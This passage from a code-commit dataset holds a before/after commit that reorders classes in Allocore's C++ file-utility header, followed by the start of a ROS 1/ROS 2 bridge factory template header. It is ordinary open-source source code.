dcs::testbed\n\n#endif \/\/ DCS_TESTBED_BASE_SENSOR_HPP\n<|endoftext|>"}
{"text":"<commit_before>#ifndef INCLUDE_AL_FILE_HPP\n#define INCLUDE_AL_FILE_HPP\n\n\/*\tAllocore --\n\tMultimedia \/ virtual environment application class library\n\t\n\tCopyright (C) 2009. AlloSphere Research Group, Media Arts & Technology, UCSB.\n\tCopyright (C) 2006-2008. The Regents of the University of California (REGENTS). \n\tAll Rights Reserved.\n\n\tPermission to use, copy, modify, distribute, and distribute modified versions\n\tof this software and its documentation without fee and without a signed\n\tlicensing agreement, is hereby granted, provided that the above copyright\n\tnotice, the list of contributors, this paragraph and the following two paragraphs \n\tappear in all copies, modifications, and distributions.\n\n\tIN NO EVENT SHALL REGENTS BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT,\n\tSPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, INCLUDING LOST PROFITS, ARISING\n\tOUT OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF REGENTS HAS\n\tBEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\tREGENTS SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\tTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\tPURPOSE. THE SOFTWARE AND ACCOMPANYING DOCUMENTATION, IF ANY, PROVIDED\n\tHEREUNDER IS PROVIDED \"AS IS\". REGENTS HAS  NO OBLIGATION TO PROVIDE\n\tMAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n\n\n\tFile description:\n\tUtilities for file management\n\n\tFile author(s):\n\tGraham Wakefield, 2010, grrrwaaa@gmail.com\n\tLance Putnam, 2010, putnam.lance@gmail.com\n*\/\n\n\n#include <limits.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <string>\n#include <sys\/stat.h>\n#include <list>\n\n#include \"allocore\/system\/al_Config.h\"\n\n#ifdef AL_WIN32\n\t#define AL_FILE_DELIMITER\t\t'\\\\'\n\t#define AL_FILE_DELIMITER_STR\t\"\\\\\"\n#else\n\t#define AL_FILE_DELIMITER\t\t'\/'\n\t#define AL_FILE_DELIMITER_STR\t\"\/\"\n#endif\n\n#define AL_PATH_MAX (4096)\n\nnamespace al{\n\n\/\/ Strips a qualified path to a file (src) into a path to the containing folder (dst)\n\/\/void path2dir(char* dst, const char* src);\n\n\n\/\/\/ A pair of path (folder\/directory) and file name\nclass FilePath {\npublic:\n\tFilePath(){}\n\n\t\/\/\/ @param[in] file\t\t\tFile name without directory\n\t\/\/\/ @param[in] path\t\t\tDirectory of file\n\tFilePath(const std::string& file, const std::string& path)\n\t:\tmPath(path), mFile(file) {}\n\n\t\/\/\/ @param[in] fullpath\t\tFull path to file (directory + file name)\n\texplicit FilePath(std::string fullpath);\n\n\n\t\/\/\/ Get file name without directory\n\tconst std::string& file() const { return mFile; }\n\t\n\t\/\/\/ Get path (directory) of file\n\tconst std::string& path() const { return mPath; }\n\n\t\/\/\/ Get file with directory\n\tstd::string filepath() const { return path()+file(); }\n\t\n\t\/\/\/ Returns whether file part is valid\n\tbool valid() const { return file()!=\"\"; }\n\n\n\t\/\/\/ Set file name without directory\n\tFilePath& file(const std::string& v) { mFile=v; return *this; }\n\t\n\t\/\/\/ Set path (directory) of file\n\tFilePath& path(const std::string& v) { mPath=v; return *this; }\n\nprotected:\n\tstd::string mPath;\n\tstd::string mFile;\n};\n\n\n\n\/\/\/ A handy way to manage several possible search paths\nclass SearchPaths {\npublic:\n\ttypedef std::pair<std::string, bool> searchpath;\n\ttypedef std::list<searchpath> searchpathlist;\n\ttypedef std::list<searchpath>::iterator iterator;\n\t\n\tSearchPaths() {}\n\tSearchPaths(std::string file) {\n\t\tFilePath fp(file);\n\t\taddAppPaths(fp.path());\n\t}\n\tSearchPaths(int argc, char * const argv[], bool recursive=true) { addAppPaths(argc,argv,recursive); }\n\tSearchPaths(const SearchPaths& cpy) \n\t:\tmSearchPaths(cpy.mSearchPaths),\n\t\tmAppPath(cpy.mAppPath)\n\t{}\n\t~SearchPaths() {}\n\n\t\/\/\/ find a file in the searchpaths\n\tFilePath find(const std::string& filename) ;\n\n\t\/\/\/ add a path to search in; recursive searching is optional\n\tvoid addSearchPath(const std::string& path, bool recursive = true);\n\tvoid addRelativePath(std::string rel, bool recursive=true) {\n\t\taddSearchPath(appPath() + rel, recursive);\n\t}\n\n\t\/\/\/ adds best estimate of application launch paths (cwd etc.)\n\t\/\/\/ can pass in argv from the main() function if desired.\n\tvoid addAppPaths(int argc, char * const argv[], bool recursive = true);\n\tvoid addAppPaths(int argc, const char ** argv, bool recursive = true);\n\tvoid addAppPaths(std::string path, bool recursive = true);\n\tvoid addAppPaths(bool recursive = true);\n\n\tconst std::string& appPath() const { return mAppPath; }\n\t\n\tvoid print();\n\t\n\titerator begin() { return mSearchPaths.begin(); }\n\titerator end() { return mSearchPaths.end(); }\n\nprotected:\t\n\tstd::list<searchpath> mSearchPaths;\n\tstd::string mAppPath;\n};\n\n\n\n\/\/\/ File\nclass File{\npublic:\n\n\t\/\/\/ @param[in] path\t\tpath of file\n\t\/\/\/ @param[in] mode\t\ti\/o mode w, r, wb, rb\n\t\/\/\/ @param[in] open\t\twhether to open the file\n\tFile(const std::string& path, const std::string& mode=\"r\", bool open=false);\n\tFile(const FilePath& path, const std::string& mode=\"r\", bool open=false);\n\n\t~File();\n\n\tvoid close();\t\/\/\/< Close file\n\tbool open();\t\/\/\/< Open file with specified i\/o mode\n\n\tFile& mode(const std::string& v){ mMode=v; return *this; }\n\tFile& path(const std::string& v){ mPath=v; return *this; }\n\n\t\/\/\/ Write memory elements to file\n\tint write(const std::string& v){ return write(v.data(), 1, v.length()); }\n\tint write(const void * v, int itemSizeInBytes, int items=1){\n\t\tint itemsWritten = fwrite(v, itemSizeInBytes, items, mFP);\n\t\tmSizeBytes += itemsWritten * itemSizeInBytes;\n\t\treturn itemsWritten;\n\t}\n\n\t\/\/\/ Read memory elements from file\n\tint read(void * v, int size, int items=1){ return fread(v, size, items, mFP); }\n\n\t\/\/\/ Quick and dirty write memory to file\n\tstatic int write(const std::string& path, const void * v, int size, int items=1);\n\n\t\/\/\/ Returns character string of file contents (read mode only)\n\tconst char * readAll();\n\n\t\/\/\/ Returns whether file is open\n\tbool opened() const { return 0 != mFP; }\n\n\t\/\/\/ Returns file i\/o mode string\n\tconst std::string& mode() const { return mMode; }\n\n\t\/\/\/ Returns path string\n\tconst std::string& path() const { return mPath; }\n\n\t\/\/\/ Returns size, in bytes, of file contents\n\tint size() const { return mSizeBytes; }\n\n\t\/\/\/ Return modification time of file (or 0 on failure) as number of seconds since 00:00:00 january 1, 1970 UTC\n\tal_sec modified() const;\n\n\t\/\/\/ Return last access time of file (or 0 on failure) as number of seconds since 00:00:00 january 1, 1970 UTC\n\tal_sec accessed() const;\n\n\t\/\/\/ Return creation time of file (or 0 on failure) as number of seconds since 00:00:00 january 1, 1970 UTC\n\tal_sec created() const;\n\n\t\/\/\/ Return size file (or 0 on failure)\n\tsize_t sizeFile() const;\n\n\t\/\/\/ Return space used on disk of file (or 0 on failure)\n\tsize_t storage() const;\n\n\tFILE * filePointer() { return mFP; }\n\n\n\t\/\/\/ Ensure path ends with the proper delimiter\n\tstatic std::string conformPath(const std::string& src);\n\t\n\t\/\/\/ Convert relative paths to absolute paths\n\tstatic std::string absolutePath(const std::string& src);\n\n\t\/\/\/ Extracts the directory-part of file name.\n\t\n\t\/\/\/ The directory-part of the file name is everything up through (and \n\t\/\/\/ including) the last slash in it. If the file name contains no slash, \n\t\/\/\/ the directory part is the string ‘.\/’. E.g., \/usr\/bin\/man -> \/usr\/bin\/.\n\tstatic std::string directory(const std::string& src);\n\n\t\/\/\/ Returns whether a file or directory exists\n\tstatic bool exists(const std::string& path);\n\n\t\/\/\/ Returns whether a file in a directory exists\n\tstatic bool exists(const std::string& name, const std::string& path){\n\t\treturn exists(path+name);\n\t}\n\n\t\/\/\/ Search for file or directory back from current directory\n\n\t\/\/\/ @param[out] prefixPath\tIf the file is found, this contains a series of\n\t\/\/\/\t\t\t\t\t\t\t\"..\/\" that can be prefixed to 'matchPath' to get\n\t\/\/\/\t\t\t\t\t\t\tits actual location.\n\t\/\/\/ @param[in]  matchPath\tFile or directory to search for\n\t\/\/\/ @param[in]  maxDepth\tMaximum number of directories to search back\n\t\/\/\/ \\returns whether the file or directory was found\n\tstatic bool searchBack(std::string& prefixPath, const std::string& matchPath, int maxDepth=6);\n\n\t\/\/\/ Search for file or directory back from current directory\n\n\t\/\/\/ @param[in,out] path\t\tInput is a file or directory to search for.\n\t\/\/\/\t\t\t\t\t\t\tIf the file is found, the output contains a series of\n\t\/\/\/\t\t\t\t\t\t\t\"..\/\" prefixed to the input. Otherwise, the input\n\t\/\/\/\t\t\t\t\t\t\tpath is not modified.\n\t\/\/\/ @param[in]  maxDepth\tMaximum number of directories to search back\n\t\/\/\/ \\returns whether the file or directory was found\n\tstatic bool searchBack(std::string& path, int maxDepth=6){\n\t\tstd::string prefix = \"\";\n\t\tbool r = searchBack(prefix, path);\n\t\tif(r) path = prefix + path;\n\t\treturn r;\n\t}\n\n\tstatic al_sec modified(std::string path) { File f(path); return f.modified(); }\n\tstatic al_sec accessed(std::string path) { File f(path); return f.accessed(); }\n\tstatic al_sec created(std::string path) { File f(path); return f.created(); }\n\tstatic size_t sizeFile(std::string path) { File f(path); return f.sizeFile(); }\n\tstatic size_t storage(std::string path) { File f(path); return f.storage(); }\n\nprotected:\n\tclass Impl; Impl * mImpl;\n\n\tstd::string mPath;\n\tstd::string mMode;\n\tchar * mContent;\n\tint mSizeBytes;\n\tFILE * mFP;\n\n\tvoid freeContent();\n\tvoid allocContent(int n);\n\tvoid getSize();\n};\n\n\n\n\/\/\/\/ INLINE IMPLEMENTATION \/\/\/\/\n\ninline std::string File::conformPath(const std::string& src) {\n\tstd::string path(src);\n\t\/\/ paths should end with a delimiter:\n\tif (path[path.size()-1] != AL_FILE_DELIMITER) {\n\t\tpath += AL_FILE_DELIMITER;\n\t}\n\treturn path;\n}\n\ninline std::string File::absolutePath(const std::string& src) {\n\tchar temp[PATH_MAX];\n\tchar * result = realpath(src.c_str(), temp);\n\treturn result ? result : \"\";\n}\n\ninline std::string File::directory(const std::string& src){\n\tsize_t pos = src.find_last_of(AL_FILE_DELIMITER);\n\tif(std::string::npos != pos){\n\t\treturn src.substr(0, pos+1);\n\t}\n\treturn \".\"AL_FILE_DELIMITER_STR;\n}\n\ninline bool File::exists(const std::string& path){\n\tstruct stat s;\n\treturn ::stat(path.c_str(), &s) == 0;\n}\n\ninline bool File::searchBack(std::string& prefixPath, const std::string& matchPath, int maxDepth){\n\tint i=0;\n\tprefixPath=\"\";\n\n\tfor(; i<maxDepth; ++i){\n\t\tif(File::exists(prefixPath + matchPath)) break;\n\t\tprefixPath = \"..\"AL_FILE_DELIMITER_STR + prefixPath;\n\t}\n\treturn i<maxDepth;\n}\n\ninline void SearchPaths::addAppPaths(std::string path, bool recursive) {\n\tstd::string filepath = File::directory(path);\n\tmAppPath = filepath;\n\taddSearchPath(filepath, recursive);\n}\n\ninline void SearchPaths::addAppPaths(int argc, const char ** argv, bool recursive) {\n\taddAppPaths(recursive);\n\tif (argc > 0) {\n\t\taddAppPaths(File::directory(argv[0]), recursive);\n\t} \n}\n\ninline void SearchPaths::addAppPaths(int argc, char * const argv[], bool recursive) {\n\taddAppPaths(recursive);\n\tif (argc > 0) {\n\t\taddAppPaths(File::directory(argv[0]), recursive);\n\t} \n}\n\ninline void SearchPaths::addAppPaths(bool recursive) {\n\tchar cwd[4096];\n\tif(getcwd(cwd, sizeof(cwd))){\n\t\tmAppPath = std::string(cwd) + \"\/\";\n\t\taddSearchPath(mAppPath, recursive);\n\t}\n}\n\ninline void SearchPaths::addSearchPath(const std::string& src, bool recursive) {\n\tstd::string path=File::conformPath(src);\n\n\t\/\/ check for duplicates\n\tstd::list<searchpath>::iterator iter = mSearchPaths.begin();\n\twhile (iter != mSearchPaths.end()) {\n\t\t\/\/printf(\"path %s\\n\", iter->first.c_str());\n\t\tif (path == iter->first) {\n\t\t\treturn;\n\t\t}\n\t\titer++;\n\t}\n\/\/\tprintf(\"adding path %s\\n\", path.data());\n\tmSearchPaths.push_front(searchpath(path, recursive));\n}\n\ninline void SearchPaths::print() {\n\tprintf(\"SearchPath %p appPath: %s\\n\", this, appPath().c_str());\n\tstd::list<searchpath>::iterator it = mSearchPaths.begin();\n\twhile (it != mSearchPaths.end()) {\n\t\tSearchPaths::searchpath sp = (*it++);\n\t\tprintf(\"SearchPath %p path: %s (recursive: %d)\\n\", this, sp.first.c_str(), sp.second);\n\t}\n}\n\n} \/\/ al::\n\n#endif\n\n<commit_msg>Move File class to top<commit_after>#ifndef INCLUDE_AL_FILE_HPP\n#define INCLUDE_AL_FILE_HPP\n\n\/*\tAllocore --\n\tMultimedia \/ virtual environment application class library\n\t\n\tCopyright (C) 2009. AlloSphere Research Group, Media Arts & Technology, UCSB.\n\tCopyright (C) 2006-2008. The Regents of the University of California (REGENTS). \n\tAll Rights Reserved.\n\n\tPermission to use, copy, modify, distribute, and distribute modified versions\n\tof this software and its documentation without fee and without a signed\n\tlicensing agreement, is hereby granted, provided that the above copyright\n\tnotice, the list of contributors, this paragraph and the following two paragraphs \n\tappear in all copies, modifications, and distributions.\n\n\tIN NO EVENT SHALL REGENTS BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT,\n\tSPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, INCLUDING LOST PROFITS, ARISING\n\tOUT OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF REGENTS HAS\n\tBEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\tREGENTS SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\tTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\tPURPOSE. THE SOFTWARE AND ACCOMPANYING DOCUMENTATION, IF ANY, PROVIDED\n\tHEREUNDER IS PROVIDED \"AS IS\". REGENTS HAS  NO OBLIGATION TO PROVIDE\n\tMAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n\n\n\tFile description:\n\tUtilities for file management\n\n\tFile author(s):\n\tGraham Wakefield, 2010, grrrwaaa@gmail.com\n\tLance Putnam, 2010, putnam.lance@gmail.com\n*\/\n\n\n#include <limits.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <string>\n#include <sys\/stat.h>\n#include <list>\n\n#include \"allocore\/system\/al_Config.h\"\n\n#ifdef AL_WIN32\n\t#define AL_FILE_DELIMITER\t\t'\\\\'\n\t#define AL_FILE_DELIMITER_STR\t\"\\\\\"\n#else\n\t#define AL_FILE_DELIMITER\t\t'\/'\n\t#define AL_FILE_DELIMITER_STR\t\"\/\"\n#endif\n\n#define AL_PATH_MAX (4096)\n\nnamespace al{\n\n\nclass FilePath;\n\n\n\/\/\/ File\nclass File{\npublic:\n\n\t\/\/\/ @param[in] path\t\tpath of file\n\t\/\/\/ @param[in] mode\t\ti\/o mode w, r, wb, rb\n\t\/\/\/ @param[in] open\t\twhether to open the file\n\tFile(const std::string& path, const std::string& mode=\"r\", bool open=false);\n\tFile(const FilePath& path, const std::string& mode=\"r\", bool open=false);\n\n\t~File();\n\n\tvoid close();\t\/\/\/< Close file\n\tbool open();\t\/\/\/< Open file with specified i\/o mode\n\n\tFile& mode(const std::string& v){ mMode=v; return *this; }\n\tFile& path(const std::string& v){ mPath=v; return *this; }\n\n\t\/\/\/ Write memory elements to file\n\tint write(const std::string& v){ return write(v.data(), 1, v.length()); }\n\tint write(const void * v, int itemSizeInBytes, int items=1){\n\t\tint itemsWritten = fwrite(v, itemSizeInBytes, items, mFP);\n\t\tmSizeBytes += itemsWritten * itemSizeInBytes;\n\t\treturn itemsWritten;\n\t}\n\n\t\/\/\/ Read memory elements from file\n\tint read(void * v, int size, int items=1){ return fread(v, size, items, mFP); }\n\n\t\/\/\/ Quick and dirty write memory to file\n\tstatic int write(const std::string& path, const void * v, int size, int items=1);\n\n\t\/\/\/ Returns character string of file contents (read mode only)\n\tconst char * readAll();\n\n\t\/\/\/ Returns whether file is open\n\tbool opened() const { return 0 != mFP; }\n\n\t\/\/\/ Returns file i\/o mode string\n\tconst std::string& mode() const { return mMode; }\n\n\t\/\/\/ Returns path string\n\tconst std::string& path() const { return mPath; }\n\n\t\/\/\/ Returns size, in bytes, of file contents\n\tint size() const { return mSizeBytes; }\n\n\t\/\/\/ Return modification time of file (or 0 on failure) as number of seconds since 00:00:00 january 1, 1970 UTC\n\tal_sec modified() const;\n\n\t\/\/\/ Return last access time of file (or 0 on failure) as number of seconds since 00:00:00 january 1, 1970 UTC\n\tal_sec accessed() const;\n\n\t\/\/\/ Return creation time of file (or 0 on failure) as number of seconds since 00:00:00 january 1, 1970 UTC\n\tal_sec created() const;\n\n\t\/\/\/ Return size file (or 0 on failure)\n\tsize_t sizeFile() const;\n\n\t\/\/\/ Return space used on disk of file (or 0 on failure)\n\tsize_t storage() const;\n\n\tFILE * filePointer() { return mFP; }\n\n\n\t\/\/\/ Ensure path ends with the proper delimiter\n\tstatic std::string conformPath(const std::string& src);\n\t\n\t\/\/\/ Convert relative paths to absolute paths\n\tstatic std::string absolutePath(const std::string& src);\n\n\t\/\/\/ Extracts the directory-part of file name.\n\t\n\t\/\/\/ The directory-part of the file name is everything up through (and \n\t\/\/\/ including) the last slash in it. If the file name contains no slash, \n\t\/\/\/ the directory part is the string ‘.\/’. E.g., \/usr\/bin\/man -> \/usr\/bin\/.\n\tstatic std::string directory(const std::string& src);\n\n\t\/\/\/ Returns whether a file or directory exists\n\tstatic bool exists(const std::string& path);\n\n\t\/\/\/ Returns whether a file in a directory exists\n\tstatic bool exists(const std::string& name, const std::string& path){\n\t\treturn exists(path+name);\n\t}\n\n\t\/\/\/ Search for file or directory back from current directory\n\n\t\/\/\/ @param[out] prefixPath\tIf the file is found, this contains a series of\n\t\/\/\/\t\t\t\t\t\t\t\"..\/\" that can be prefixed to 'matchPath' to get\n\t\/\/\/\t\t\t\t\t\t\tits actual location.\n\t\/\/\/ @param[in]  matchPath\tFile or directory to search for\n\t\/\/\/ @param[in]  maxDepth\tMaximum number of directories to search back\n\t\/\/\/ \\returns whether the file or directory was found\n\tstatic bool searchBack(std::string& prefixPath, const std::string& matchPath, int maxDepth=6);\n\n\t\/\/\/ Search for file or directory back from current directory\n\n\t\/\/\/ @param[in,out] path\t\tInput is a file or directory to search for.\n\t\/\/\/\t\t\t\t\t\t\tIf the file is found, the output contains a series of\n\t\/\/\/\t\t\t\t\t\t\t\"..\/\" prefixed to the input. Otherwise, the input\n\t\/\/\/\t\t\t\t\t\t\tpath is not modified.\n\t\/\/\/ @param[in]  maxDepth\tMaximum number of directories to search back\n\t\/\/\/ \\returns whether the file or directory was found\n\tstatic bool searchBack(std::string& path, int maxDepth=6){\n\t\tstd::string prefix = \"\";\n\t\tbool r = searchBack(prefix, path);\n\t\tif(r) path = prefix + path;\n\t\treturn r;\n\t}\n\n\tstatic al_sec modified(std::string path) { File f(path); return f.modified(); }\n\tstatic al_sec accessed(std::string path) { File f(path); return f.accessed(); }\n\tstatic al_sec created(std::string path) { File f(path); return f.created(); }\n\tstatic size_t sizeFile(std::string path) { File f(path); return f.sizeFile(); }\n\tstatic size_t storage(std::string path) { File f(path); return f.storage(); }\n\nprotected:\n\tclass Impl; Impl * mImpl;\n\n\tstd::string mPath;\n\tstd::string mMode;\n\tchar * mContent;\n\tint mSizeBytes;\n\tFILE * mFP;\n\n\tvoid freeContent();\n\tvoid allocContent(int n);\n\tvoid getSize();\n};\n\n\n\n\/\/\/ A pair of path (folder\/directory) and file name\nclass FilePath {\npublic:\n\tFilePath(){}\n\n\t\/\/\/ @param[in] file\t\t\tFile name without directory\n\t\/\/\/ @param[in] path\t\t\tDirectory of file\n\tFilePath(const std::string& file, const std::string& path)\n\t:\tmPath(path), mFile(file) {}\n\n\t\/\/\/ @param[in] fullpath\t\tFull path to file (directory + file name)\n\texplicit FilePath(std::string fullpath);\n\n\n\t\/\/\/ Get file name without directory\n\tconst std::string& file() const { return mFile; }\n\t\n\t\/\/\/ Get path (directory) of file\n\tconst std::string& path() const { return mPath; }\n\n\t\/\/\/ Get file with directory\n\tstd::string filepath() const { return path()+file(); }\n\t\n\t\/\/\/ Returns whether file part is valid\n\tbool valid() const { return file()!=\"\"; }\n\n\n\t\/\/\/ Set file name without directory\n\tFilePath& file(const std::string& v) { mFile=v; return *this; }\n\t\n\t\/\/\/ Set path (directory) of file\n\tFilePath& path(const std::string& v) { mPath=v; return *this; }\n\nprotected:\n\tstd::string mPath;\n\tstd::string mFile;\n};\n\n\n\n\/\/\/ A handy way to manage several possible search paths\nclass SearchPaths {\npublic:\n\ttypedef std::pair<std::string, bool> searchpath;\n\ttypedef std::list<searchpath> searchpathlist;\n\ttypedef std::list<searchpath>::iterator iterator;\n\t\n\tSearchPaths() {}\n\tSearchPaths(std::string file) {\n\t\tFilePath fp(file);\n\t\taddAppPaths(fp.path());\n\t}\n\tSearchPaths(int argc, char * const argv[], bool recursive=true) { addAppPaths(argc,argv,recursive); }\n\tSearchPaths(const SearchPaths& cpy) \n\t:\tmSearchPaths(cpy.mSearchPaths),\n\t\tmAppPath(cpy.mAppPath)\n\t{}\n\t~SearchPaths() {}\n\n\t\/\/\/ find a file in the searchpaths\n\tFilePath find(const std::string& filename) ;\n\n\t\/\/\/ add a path to search in; recursive searching is optional\n\tvoid addSearchPath(const std::string& path, bool recursive = true);\n\tvoid addRelativePath(std::string rel, bool recursive=true) {\n\t\taddSearchPath(appPath() + rel, recursive);\n\t}\n\n\t\/\/\/ adds best estimate of application launch paths (cwd etc.)\n\t\/\/\/ can pass in argv from the main() function if desired.\n\tvoid addAppPaths(int argc, char * const argv[], bool recursive = true);\n\tvoid addAppPaths(int argc, const char ** argv, bool recursive = true);\n\tvoid addAppPaths(std::string path, bool recursive = true);\n\tvoid addAppPaths(bool recursive = true);\n\n\tconst std::string& appPath() const { return mAppPath; }\n\t\n\tvoid print();\n\t\n\titerator begin() { return mSearchPaths.begin(); }\n\titerator end() { return mSearchPaths.end(); }\n\nprotected:\t\n\tstd::list<searchpath> mSearchPaths;\n\tstd::string mAppPath;\n};\n\n\n\n\n\n\n\n\/\/\/\/ INLINE IMPLEMENTATION \/\/\/\/\n\ninline std::string File::conformPath(const std::string& src) {\n\tstd::string path(src);\n\t\/\/ paths should end with a delimiter:\n\tif (path[path.size()-1] != AL_FILE_DELIMITER) {\n\t\tpath += AL_FILE_DELIMITER;\n\t}\n\treturn path;\n}\n\ninline std::string File::absolutePath(const std::string& src) {\n\tchar temp[PATH_MAX];\n\tchar * result = realpath(src.c_str(), temp);\n\treturn result ? result : \"\";\n}\n\ninline std::string File::directory(const std::string& src){\n\tsize_t pos = src.find_last_of(AL_FILE_DELIMITER);\n\tif(std::string::npos != pos){\n\t\treturn src.substr(0, pos+1);\n\t}\n\treturn \".\"AL_FILE_DELIMITER_STR;\n}\n\ninline bool File::exists(const std::string& path){\n\tstruct stat s;\n\treturn ::stat(path.c_str(), &s) == 0;\n}\n\ninline bool File::searchBack(std::string& prefixPath, const std::string& matchPath, int maxDepth){\n\tint i=0;\n\tprefixPath=\"\";\n\n\tfor(; i<maxDepth; ++i){\n\t\tif(File::exists(prefixPath + matchPath)) break;\n\t\tprefixPath = \"..\"AL_FILE_DELIMITER_STR + prefixPath;\n\t}\n\treturn i<maxDepth;\n}\n\ninline void SearchPaths::addAppPaths(std::string path, bool recursive) {\n\tstd::string filepath = File::directory(path);\n\tmAppPath = filepath;\n\taddSearchPath(filepath, recursive);\n}\n\ninline void SearchPaths::addAppPaths(int argc, const char ** argv, bool recursive) {\n\taddAppPaths(recursive);\n\tif (argc > 0) {\n\t\taddAppPaths(File::directory(argv[0]), recursive);\n\t} \n}\n\ninline void SearchPaths::addAppPaths(int argc, char * const argv[], bool recursive) {\n\taddAppPaths(recursive);\n\tif (argc > 0) {\n\t\taddAppPaths(File::directory(argv[0]), recursive);\n\t} \n}\n\ninline void SearchPaths::addAppPaths(bool recursive) {\n\tchar cwd[4096];\n\tif(getcwd(cwd, sizeof(cwd))){\n\t\tmAppPath = std::string(cwd) + \"\/\";\n\t\taddSearchPath(mAppPath, recursive);\n\t}\n}\n\ninline void SearchPaths::addSearchPath(const std::string& src, bool recursive) {\n\tstd::string path=File::conformPath(src);\n\n\t\/\/ check for duplicates\n\tstd::list<searchpath>::iterator iter = mSearchPaths.begin();\n\twhile (iter != mSearchPaths.end()) {\n\t\t\/\/printf(\"path %s\\n\", iter->first.c_str());\n\t\tif (path == iter->first) {\n\t\t\treturn;\n\t\t}\n\t\titer++;\n\t}\n\/\/\tprintf(\"adding path %s\\n\", path.data());\n\tmSearchPaths.push_front(searchpath(path, recursive));\n}\n\ninline void SearchPaths::print() {\n\tprintf(\"SearchPath %p appPath: %s\\n\", this, appPath().c_str());\n\tstd::list<searchpath>::iterator it = mSearchPaths.begin();\n\twhile (it != mSearchPaths.end()) {\n\t\tSearchPaths::searchpath sp = (*it++);\n\t\tprintf(\"SearchPath %p path: %s (recursive: %d)\\n\", this, sp.first.c_str(), sp.second);\n\t}\n}\n\n} \/\/ al::\n\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2015 Open Source Robotics Foundation, Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef __ros1_bridge__factory__hpp__\n#define __ros1_bridge__factory__hpp__\n\n#include <functional>\n\n\/\/ include ROS 1 message event\n#include <ros\/message.h>\n\n#include <ros1_bridge\/factory_interface.hpp>\n\nnamespace ros1_bridge\n{\n\ntemplate<typename ROS1_T, typename ROS2_T>\nclass Factory : public FactoryInterface\n{\npublic:\n  ros::Publisher\n  create_ros1_publisher(\n    ros::NodeHandle node,\n    const std::string & topic_name,\n    size_t queue_size)\n  {\n    return node.advertise<ROS1_T>(topic_name, queue_size);\n  }\n\n  rclcpp::publisher::Publisher::SharedPtr\n  create_ros2_publisher(\n    rclcpp::node::Node::SharedPtr node,\n    const std::string & topic_name,\n    size_t queue_size)\n  {\n    rmw_qos_profile_t custom_qos_profile = rmw_qos_profile_default;\n    custom_qos_profile.depth = queue_size;\n    return node->create_publisher<ROS2_T>(topic_name, custom_qos_profile);\n  }\n\n  ros::Subscriber\n  create_ros1_subscriber(\n    ros::NodeHandle node,\n    const std::string & topic_name,\n    size_t queue_size,\n    rclcpp::publisher::Publisher::SharedPtr ros2_pub)\n  {\n    \/\/ workaround for https:\/\/github.com\/ros\/roscpp_core\/issues\/22 to get the connection header\n    ros::SubscribeOptions ops;\n    ops.topic = topic_name;\n    ops.queue_size = queue_size;\n    ops.md5sum = ros::message_traits::md5sum<ROS1_T>();\n    ops.datatype = ros::message_traits::datatype<ROS1_T>();\n    ops.helper = ros::SubscriptionCallbackHelperPtr(\n      new ros::SubscriptionCallbackHelperT<const ros::MessageEvent<ROS1_T const>&>(\n        boost::bind(&Factory<ROS1_T, ROS2_T>::ros1_callback, _1, ros2_pub)\n      )\n    );\n    return node.subscribe(ops);\n  }\n\n  rclcpp::subscription::SubscriptionBase::SharedPtr\n  create_ros2_subscriber(\n    rclcpp::node::Node::SharedPtr node,\n    const std::string & topic_name,\n    size_t queue_size,\n    ros::Publisher ros1_pub)\n  {\n    rmw_qos_profile_t custom_qos_profile = rmw_qos_profile_default;\n    custom_qos_profile.depth = queue_size;\n    \/\/ TODO(wjwwood): use a lambda until create_subscription supports std\/boost::bind.\n    auto callback = [this, ros1_pub](const typename ROS2_T::SharedPtr msg) {\n      return this->ros2_callback(msg, ros1_pub);\n    };\n    return node->create_subscription<ROS2_T>(\n      topic_name, custom_qos_profile, callback, nullptr, true);\n  }\n\nprotected:\n\n  static\n  void ros1_callback(\n    const ros::MessageEvent<ROS1_T const> & ros1_msg_event,\n    rclcpp::publisher::Publisher::SharedPtr ros2_pub\n    )\n  {\n    const boost::shared_ptr<ros::M_string> & connection_header = ros1_msg_event.getConnectionHeaderPtr();\n    if (!connection_header) {\n      printf(\"  dropping message without connection header\\n\");\n      return;\n    }\n\n    std::string key = \"callerid\";\n    if (connection_header->find(key) != connection_header->end()) {\n      if (connection_header->at(key) == \"\/ros_bridge\") {\n        return;\n      }\n    }\n\n    const boost::shared_ptr<ROS1_T const> & ros1_msg = ros1_msg_event.getConstMessage();\n\n    auto ros2_msg = std::make_shared<ROS2_T>();\n    convert_1_to_2(*ros1_msg, *ros2_msg);\n    printf(\"  Passing message from ROS 1 to ROS 2\\n\");\n    ros2_pub->publish(ros2_msg);\n  }\n\n  static\n  void ros2_callback(\n    typename ROS2_T::SharedPtr ros2_msg,\n    ros::Publisher ros1_pub\n    )\n  {\n    ROS1_T ros1_msg;\n    convert_2_to_1(*ros2_msg, ros1_msg);\n    printf(\"  Passing message from ROS 2 to ROS 1\\n\");\n    